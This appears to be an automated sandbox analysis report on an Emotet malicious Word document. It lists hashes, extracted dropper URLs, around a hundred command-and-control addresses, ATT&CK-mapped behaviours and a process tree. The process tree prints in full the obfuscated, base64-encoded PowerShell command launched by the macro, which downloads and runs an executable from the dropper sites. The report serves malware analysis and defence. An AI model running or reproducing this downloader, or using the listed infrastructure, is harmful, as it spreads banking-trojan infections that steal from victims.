emotet | 335f33142f3899f02732b881f2ffc5eedfa1339d88996d72fc63ca89040f4d33

Analysis

max time kernel
136s
max time network
146s
platform
windows10_x64
resource
win10v200722
submitted
28/09/2020, 20:23

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General

Target
emotet_e2_335f33142f3899f02732b881f2ffc5eedfa1339d88996d72fc63ca89040f4d33_2020-09-28__202013036048._doc.doc
Size 131KB
Sample200928-e7wvk4jrns
SHA256 335f33142f3899f02732b881f2ffc5eedfa1339d88996d72fc63ca89040f4d33
MD5 1e8096fccc47a8412983e1880cef99f9
SHA1 92addfa8fb6aa45e19fae6b6fab781ed460f8d47
SHA512 a0b03b03b096c16294254be295bd63449f918897859fb520db72e8c69671d407f0c1f2bef6efa874c24763e2dba0f14b764bf4b99537c04ef786e5878b41d232
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://hopekonnect.com/cgi-bin/v3DD/
exe.dropper
http://cabinetaccuracy.com/wp-includes/n90DBu/
exe.dropper
http://ksulo.com/wp-admin/NvruA/
exe.dropper
https://travcalls.com/blogs/bslVh/
exe.dropper
https://raanivastra.com/wp-content/q/
exe.dropper
http://231brewingco.com/wp-includes/gwUy/
exe.dropper
http://mealeapalacegate.com/cgi-bin/G/

Extracted

Family

emotet

38.18.235.242:80
5.196.108.189:8080
121.124.124.40:7080
104.236.246.93:8080
113.61.66.94:80
120.150.60.189:80
91.211.88.52:7080
47.144.21.12:443
108.46.29.236:80
139.162.108.71:8080
134.209.36.254:8080
139.59.60.244:8080
66.65.136.14:80
76.175.162.101:80
174.106.122.139:80
95.213.236.64:8080
174.45.13.118:80
50.35.17.13:80
209.141.54.221:8080
87.106.139.101:8080
96.249.236.156:443
176.111.60.55:8080
85.96.199.93:80
87.106.136.232:8080
97.82.79.83:80
185.94.252.104:443
79.98.24.39:8080
142.112.10.95:20
5.196.74.210:8080
94.1.108.190:443
24.137.76.62:80
121.7.127.163:80
37.139.21.175:8080
213.196.135.145:80
83.169.36.251:8080
24.179.13.119:80
137.59.187.107:8080
181.169.34.190:80
139.130.242.43:80
42.200.107.142:80
140.186.212.146:80
74.208.45.104:8080
188.219.31.12:80
105.186.233.33:80
93.147.212.206:80
194.187.133.160:443
61.19.246.238:443
85.152.162.105:80
5.39.91.110:7080
71.72.196.159:80
24.43.99.75:80
139.162.60.124:8080
124.41.215.226:80
67.10.155.92:80
109.74.5.95:8080
78.187.156.31:80
195.7.12.8:80
187.49.206.134:80
123.176.25.234:80
157.245.99.39:8080
78.188.106.53:443
94.200.114.161:80
94.23.237.171:443
104.251.33.179:80
68.252.26.78:80
75.139.38.211:80
103.86.49.11:8080
62.75.141.82:80
172.104.97.173:8080
79.137.83.50:443
110.142.236.207:80
162.241.242.173:8080
78.24.219.147:8080
91.146.156.228:80
118.83.154.64:443
216.139.123.119:80
121.7.31.214:80
181.169.235.7:80
139.99.158.11:443
172.91.208.86:80
46.105.131.79:8080
104.131.11.150:443
110.145.77.103:80
82.80.155.43:80
168.235.67.138:7080
50.91.114.38:80
137.119.36.33:80
203.153.216.189:7080
37.187.72.193:8080
24.43.32.186:80
130.0.132.242:80
80.241.255.202:8080
220.245.198.194:80
190.240.194.77:443
89.216.122.92:80
1.221.254.82:80
104.131.44.150:8080
62.30.7.67:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4084	2220	POwersheLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2968-16-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/2968-16-0x0000000000670000-0x0000000000682000-memory.dmp	emotet
behavioral2/memory/2968-17-0x0000000000610000-0x0000000000620000-memory.dmp	emotet
behavioral2/memory/2968-17-0x0000000000610000-0x0000000000620000-memory.dmp	emotet
behavioral2/memory/2396-20-0x0000000000550000-0x0000000000562000-memory.dmp	emotet
behavioral2/memory/2396-20-0x0000000000550000-0x0000000000562000-memory.dmp	emotet
behavioral2/memory/2396-21-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/2396-21-0x0000000000570000-0x0000000000580000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
14	4084	POwersheLL.exe
25	4084	POwersheLL.exe
25	4084	POwersheLL.exe
28	4084	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2968	C2zl3hos.exe
2396	cryptxml.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wlanapi\cryptxml.exe	C2zl3hos.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4084	POwersheLL.exe
4084	POwersheLL.exe
4084	POwersheLL.exe
2396	cryptxml.exe
2396	cryptxml.exe
2396	cryptxml.exe
2396	cryptxml.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4084	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE
792	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 2968	4084	POwersheLL.exe	79
PID 4084 wrote to memory of 2968	4084	POwersheLL.exe	79
PID 4084 wrote to memory of 2968	4084	POwersheLL.exe	79
PID 2968 wrote to memory of 2396	2968	C2zl3hos.exe	80
PID 2968 wrote to memory of 2396	2968	C2zl3hos.exe	80
PID 2968 wrote to memory of 2396	2968	C2zl3hos.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_335f33142f3899f02732b881f2ffc5eedfa1339d88996d72fc63ca89040f4d33_2020-09-28__202013036048._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:792

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABaAGkAMwAwAHcAcQBtAD0AKAAnAFQAegAnACsAKAAnADcAcAAnACsAJwBkACcAKQArACcAcwBuACcAKQA7AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdQBTAEUAUgBwAHIAbwBGAEkAbABlAFwAagA5AE0AeQBnADIAOABcAHoAdwB2AFEATgAwADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBVAHIAYABJAHQAeQBwAFIAbwBUAGAAbwBDAG8AbAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACcAMQAnACsAKAAnADIALAAgAHQAbABzACcAKwAnADEAJwArACcAMQAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwApADsAJABMAHEANABwADIAOAB2ACAAPQAgACgAKAAnAEMAMgAnACsAJwB6ACcAKQArACgAJwBsADMAaAAnACsAJwBvAHMAJwApACkAOwAkAEYAdgB4AGgAcgBhAHMAPQAoACgAJwBTACcAKwAnAHAAdAAnACkAKwAnAGYAJwArACgAJwB3AGkAJwArACcAOQAnACkAKQA7ACQARwBwAHQAdgBpADQAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBoACcAKwAoACcAYgBxACcAKwAnAEoAJwApACsAKAAnADkAbQB5AGcAMgAnACsAJwA4ACcAKQArACcAaABiACcAKwAoACcAcQBaACcAKwAnAHcAdgBxAG4AMAAnACkAKwAnADgAJwArACgAJwBoACcAKwAnAGIAcQAnACkAKQAgAC0AYwByAEUAcABsAEEAYwBFACgAJwBoAGIAJwArACcAcQAnACkALABbAEMAaABBAHIAXQA5ADIAKQArACQATABxADQAcAAyADgAdgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWQA4AHMANwBzAGkAcgA9ACgAJwBZACcAKwAoACcAbQB3AGoAJwArACcAdgBtADQAJwApACkAOwAkAEYANQA0AGEAbwBlAGEAPQAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAYwBsAEkARQBOAFQAOwAkAEUAeQBiAG0ANgA4ADgAPQAoACgAJwBoAHQAdABwADoAJwArACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AJwArACcAcAAnACsAJwBlAGsAbwAnACsAJwBuAG4AZQBjAHQALgBjAG8AbQAvAGMAJwApACsAKAAnAGcAaQAtACcAKwAnAGIAJwArACcAaQBuAC8AJwArACcAdgAzAEQAJwApACsAKAAnAEQAJwArACcALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBjACcAKQArACgAJwBhAGIAaQBuACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAYQBjAGMAdQByAGEAJwArACcAYwAnACkAKwAnAHkAJwArACgAJwAuAGMAbwBtACcAKwAnAC8AdwBwAC0AaQBuAGMAJwArACcAbAB1ACcAKwAnAGQAJwApACsAKAAnAGUAcwAnACsAJwAvACcAKQArACcAbgA5ACcAKwAnADAARAAnACsAKAAnAEIAdQAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AawBzACcAKwAnAHUAbABvAC4AYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBOACcAKwAnAHYAJwApACsAKAAnAHIAdQAnACsAJwBBACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwB0AHIAYQAnACsAJwB2ACcAKQArACcAYwAnACsAKAAnAGEAbABsACcAKwAnAHMAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwBiAGwAbwBnAHMALwBiACcAKwAnAHMAJwArACcAbABWAGgAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKQArACcALwAnACsAKAAnAHIAYQBhAG4AJwArACcAaQAnACsAJwB2AGEAJwApACsAKAAnAHMAJwArACcAdAByAGEALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQBjAG8AJwArACcAbgB0AGUAbgB0AC8AcQAvACcAKwAnACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAyACcAKQArACcAMwAnACsAJwAxAGIAJwArACcAcgBlACcAKwAnAHcAJwArACgAJwBpAG4AJwArACcAZwBjAG8AJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAbAB1AGQAJwArACcAZQBzACcAKQArACgAJwAvAGcAJwArACcAdwAnACkAKwAnAFUAeQAnACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAG0AZQAnACsAJwBhACcAKwAoACcAbABlAGEAcAAnACsAJwBhAGwAYQAnACsAJwBjAGUAJwApACsAKAAnAGcAYQAnACsAJwB0AGUALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBjAGcAJwApACsAKAAnAGkALQBiACcAKwAnAGkAbgAnACsAJwAvAEcALwAnACkAKQAuACIAUwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHEAbwA2ADEAZwBqAD0AKAAnAEoAJwArACgAJwA3AG8AYwAnACsAJwA2AHIAcwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AegB3AGMAagBlADYAIABpAG4AIAAkAEUAeQBiAG0ANgA4ADgAKQB7AHQAcgB5AHsAJABGADUANABhAG8AZQBhAC4AIgBEAG8AVwBOAEwAbwBhAGAARABmAEkAYABMAEUAIgAoACQATgB6AHcAYwBqAGUANgAsACAAJABHAHAAdAB2AGkANAA4ACkAOwAkAFQAMQA0AGsANwB3AGIAPQAoACgAJwBDAG8AJwArACcAagAnACkAKwAnAGYAbwAnACsAJwBpADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAcAB0AHYAaQA0ADgAKQAuACIATABlAE4AYABnAHQASAAiACAALQBnAGUAIAAyADcANwAwADAAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQARwBwAHQAdgBpADQAOAApADsAJABSADcAZwA1AGQAOAA0AD0AKAAnAFYAJwArACcAcwB4ACcAKwAoACcANgBwACcAKwAnAG8AcgAnACkAKQA7AGIAcgBlAGEAawA7ACQAQwB0ADcAdABzADAAeAA9ACgAKAAnAEsAMgAnACsAJwBsADkAZQAnACkAKwAnAGsAZgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAcQBnAHcAbQB6AHkAPQAoACcAQQB5ACcAKwAnAGMAZQAnACsAKAAnAG8AJwArACcAZgB6ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Users\Admin\J9myg28\Zwvqn08\C2zl3hos.exe
  "C:\Users\Admin\J9myg28\Zwvqn08\C2zl3hos.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\SysWOW64\wlanapi\cryptxml.exe
    "C:\Windows\SysWOW64\wlanapi\cryptxml.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/792-5-0x000001BED2515000-0x000001BED251A000-memory.dmp

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memory/792-4-0x000001BED2515000-0x000001BED251A000-memory.dmp

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memory/792-0-0x00007FFA6C5F0000-0x00007FFA6CCB6000-memory.dmp

Download

memory/792-6-0x000001BED4CE4000-0x000001BED4CE5000-memory.dmp

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memory/792-7-0x000001BED4CE5000-0x000001BED4CEA000-memory.dmp

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memory/792-8-0x000001BED4CE5000-0x000001BED4CEA000-memory.dmp

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memory/792-9-0x000001BED4CE5000-0x000001BED4CEA000-memory.dmp

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memory/792-2-0x000001BED4A45000-0x000001BED4A4A000-memory.dmp

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memory/792-3-0x000001BED4A40000-0x000001BED4A45000-memory.dmp

Download

memory/792-1-0x000001BED4A40000-0x000001BED4A45000-memory.dmp

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memory/2396-21-0x0000000000570000-0x0000000000580000-memory.dmp

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memory/2396-20-0x0000000000550000-0x0000000000562000-memory.dmp

Download

memory/2968-16-0x0000000000670000-0x0000000000682000-memory.dmp

Download

memory/2968-17-0x0000000000610000-0x0000000000620000-memory.dmp

Download

memory/4084-12-0x0000017D2DF70000-0x0000017D2DF71000-memory.dmp

Download

memory/4084-11-0x0000017D2DC50000-0x0000017D2DC51000-memory.dmp

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memory/4084-10-0x00007FFA5E330000-0x00007FFA5ED1C000-memory.dmp

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